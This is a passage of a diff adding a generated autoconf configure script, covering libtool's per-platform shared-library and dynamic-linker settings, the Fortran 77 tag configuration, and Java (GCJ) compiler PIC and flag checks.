shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6 +test "$dynamic_linker" = no && can_build_shared=no + +echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6 +hardcode_action_F77= +if test -n "$hardcode_libdir_flag_spec_F77" || \ + test -n "$runpath_var_F77" || \ + test "X$hardcode_automatic_F77" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct_F77" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, F77)" != no && + test "$hardcode_minus_L_F77" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action_F77=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action_F77=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action_F77=unsupported +fi +echo "$as_me:$LINENO: result: $hardcode_action_F77" >&5 +echo "${ECHO_T}$hardcode_action_F77" >&6 + +if test "$hardcode_action_F77" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6 +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + ;; + *) + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + ;; + esac +fi + + + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_F77 \ + CC_F77 \ + LD_F77 \ + lt_prog_compiler_wl_F77 \ + lt_prog_compiler_pic_F77 \ + lt_prog_compiler_static_F77 \ + lt_prog_compiler_no_builtin_flag_F77 \ + export_dynamic_flag_spec_F77 \ + thread_safe_flag_spec_F77 \ + whole_archive_flag_spec_F77 \ + enable_shared_with_static_runtimes_F77 \ + old_archive_cmds_F77 \ + old_archive_from_new_cmds_F77 \ + predep_objects_F77 \ + postdep_objects_F77 \ + predeps_F77 \ + postdeps_F77 \ + compiler_lib_search_path_F77 \ + archive_cmds_F77 \ + archive_expsym_cmds_F77 \ + postinstall_cmds_F77 \ + postuninstall_cmds_F77 \ + old_archive_from_expsyms_cmds_F77 \ + allow_undefined_flag_F77 \ + no_undefined_flag_F77 \ + export_symbols_cmds_F77 \ + hardcode_libdir_flag_spec_F77 \ + hardcode_libdir_flag_spec_ld_F77 \ + hardcode_libdir_separator_F77 \ + hardcode_automatic_F77 \ + module_cmds_F77 \ + module_expsym_cmds_F77 \ + lt_cv_prog_compiler_c_o_F77 \ + exclude_expsyms_F77 \ + include_expsyms_F77; do + + case $var in + old_archive_cmds_F77 | \ + old_archive_from_new_cmds_F77 | \ + archive_cmds_F77 | \ + archive_expsym_cmds_F77 | \ + module_cmds_F77 | \ + module_expsym_cmds_F77 | \ + old_archive_from_expsyms_cmds_F77 | \ + export_symbols_cmds_F77 | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_F77 + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_F77 + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_F77 + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_F77 + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_F77 + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_F77 + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_F77 +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_F77 + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_F77 + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_F77 + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_F77 + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_F77 + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_F77 + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_F77 +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_F77 + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_F77 + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_F77 +archive_expsym_cmds=$lt_archive_expsym_cmds_F77 +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_F77 +module_expsym_cmds=$lt_module_expsym_cmds_F77 + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_F77 + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_F77 + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_F77 + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_F77 + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_F77 + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_F77 + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_F77 + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_F77 + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_F77 + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_F77 + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_F77 + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_F77 + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_F77 + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_F77 + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_F77 + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_F77 + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_F77" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_F77 + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_F77 + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_F77 + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_F77 + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + else + tagname="" + fi + ;; + + GCJ) + if test -n "$GCJ" && test "X$GCJ" != "Xno"; then + + + +# Source file extension for Java test sources. +ac_ext=java + +# Object file extension for compiled Java test sources. +objext=o +objext_GCJ=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="class foo {}\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='public class conftest { public static void main(String argv) {}; }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${GCJ-"gcj"} +compiler=$CC +compiler_GCJ=$CC + +# GCJ did not exist at the time GCC didn't implicitly link libc in. +archive_cmds_need_lc_GCJ=no + + +lt_prog_compiler_no_builtin_flag_GCJ= + +if test "$GCC" = yes; then + lt_prog_compiler_no_builtin_flag_GCJ=' -fno-builtin' + + +echo "$as_me:$LINENO: checking if $compiler supports -fno-rtti -fno-exceptions" >&5 +echo $ECHO_N "checking if $compiler supports -fno-rtti -fno-exceptions... $ECHO_C" >&6 +if test "${lt_cv_prog_compiler_rtti_exceptions+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_rtti_exceptions=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="-fno-rtti -fno-exceptions" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:15654: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:15658: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_cv_prog_compiler_rtti_exceptions=yes + fi + fi + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_rtti_exceptions" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_rtti_exceptions" >&6 + +if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then + lt_prog_compiler_no_builtin_flag_GCJ="$lt_prog_compiler_no_builtin_flag_GCJ -fno-rtti -fno-exceptions" +else + : +fi + +fi + +lt_prog_compiler_wl_GCJ= +lt_prog_compiler_pic_GCJ= +lt_prog_compiler_static_GCJ= + +echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6 + + if test "$GCC" = yes; then + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_static_GCJ='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_GCJ='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic_GCJ='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_GCJ='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic_GCJ='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared_GCJ=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic_GCJ=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_GCJ='-fPIC' + ;; + esac + ;; + + *) + lt_prog_compiler_pic_GCJ='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl_GCJ='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_GCJ='-Bstatic' + else + lt_prog_compiler_static_GCJ='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + lt_prog_compiler_pic_GCJ='-qnocommon' + lt_prog_compiler_wl_GCJ='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_GCJ='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl_GCJ='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_GCJ='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + lt_prog_compiler_static_GCJ='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl_GCJ='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static_GCJ='-non_shared' + ;; + + newsos6) + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-static' + ;; + ccc*) + lt_prog_compiler_wl_GCJ='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static_GCJ='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl_GCJ='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static_GCJ='-non_shared' + ;; + + sco3.2v5*) + lt_prog_compiler_pic_GCJ='-Kpic' + lt_prog_compiler_static_GCJ='-dn' + ;; + + solaris*) + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + sunos4*) + lt_prog_compiler_wl_GCJ='-Qoption ld ' + lt_prog_compiler_pic_GCJ='-PIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + lt_prog_compiler_pic_GCJ='-Kconform_pic' + lt_prog_compiler_static_GCJ='-Bstatic' + fi + ;; + + uts4*) + lt_prog_compiler_pic_GCJ='-pic' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared_GCJ=no + ;; + esac + fi + +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_GCJ" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_GCJ" >&6 + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic_GCJ"; then + +echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works... $ECHO_C" >&6 +if test "${lt_prog_compiler_pic_works_GCJ+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works_GCJ=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic_GCJ" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:15897: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:15901: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works_GCJ=yes + fi + fi + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_GCJ" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works_GCJ" >&6 + +if test x"$lt_prog_compiler_pic_works_GCJ" = xyes; then + case $lt_prog_compiler_pic_GCJ in + "" | " "*) ;; + *) lt_prog_compiler_pic_GCJ=" $lt_prog_compiler_pic_GCJ" ;; + esac +else + lt_prog_compiler_pic_GCJ= + lt_prog_compiler_can_build_shared_GCJ=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic_GCJ= + ;; + *) + lt_prog_compiler_pic_GCJ="$lt_prog_compiler_pic_GCJ" + ;; +esac + +echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6 +if test "${lt_cv_prog_compiler_c_o_GCJ+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o_GCJ=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:15957: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:15961: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o_GCJ=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_GCJ" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o_GCJ" >&6 + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o_GCJ" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6 + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support 